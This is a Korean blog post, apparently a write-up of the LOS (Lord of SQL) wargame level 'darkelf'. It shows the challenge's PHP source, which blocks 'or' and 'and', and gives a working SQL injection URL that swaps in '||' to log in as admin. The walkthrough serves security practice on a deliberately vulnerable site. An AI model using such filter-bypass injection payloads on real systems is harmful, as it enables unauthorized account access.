LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 wolfman에 이어 darkelf 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
darkelf는 wolfman과 비슷하게 단순 필터링 우회문제입니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php include "./config.php" ; login_chk(); dbconnect(); if (preg_match( '/prob|_|\.|\(\)/i' , $_GET [pw])) exit ( "No Hack ~_~" ); if (preg_match( '/or|and/i' , $_GET [pw])) exit ( "HeHe" ); $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'" ; echo "<hr>query : <strong>{$query}</strong><hr><br>" ; $result = @mysql_fetch_array(mysql_query( $query )); if ( $result [ 'id' ]) echo "<h2>Hello {$result[id]}</h2>" ; if ( $result [ 'id' ] == 'admin' ) solve( "darkelf" ); highlight_file( __FILE__ ); ?> |
위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 or, and 문자를 사용할 수 없게 되어있습니다.
여기서는 or와 and를 대신해서 사용할 문자를 선택하도록 합니다.
흠흠. 여기서는 admin이 선택되어야 하는데, id가 guest로 되어 있기 때문에 새로운 조건문을 완성해줘야 합니다.
단, or와 and가 막혀 있기 때문에 이 문자를 대신하여 사용할 ||와 &&를 사용해줍니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
pw 쪽에 값 삽입(||를 이용) |
https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27||id=%27admin |
위의 쿼리는 pw='||id='admin 이라고 작성해주었습니다.
여기서 ||는 or 대신에 SQL문에서 사용할 수 있는 문자입니다.
query : select id from prob_darkelf where id='guest' and pw=''||id='admin' |
이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.
여기서 이후 ||id='admin'이 완성되도록 적절히 값을 삽입하면, id값을 admin으로 특정해줄 수 있습니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 10 - skeleton (0) | 2019.03.27 |
---|---|
[LOS - Lord Of SQL] Level 09 - vampire (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 08 - troll (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 07 - orge (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 05 - wolfman (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 04 - orc (2) | 2019.03.24 |
[LOS - Lord Of SQL] Level 03 - goblin (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 02 - cobolt (0) | 2019.03.24 |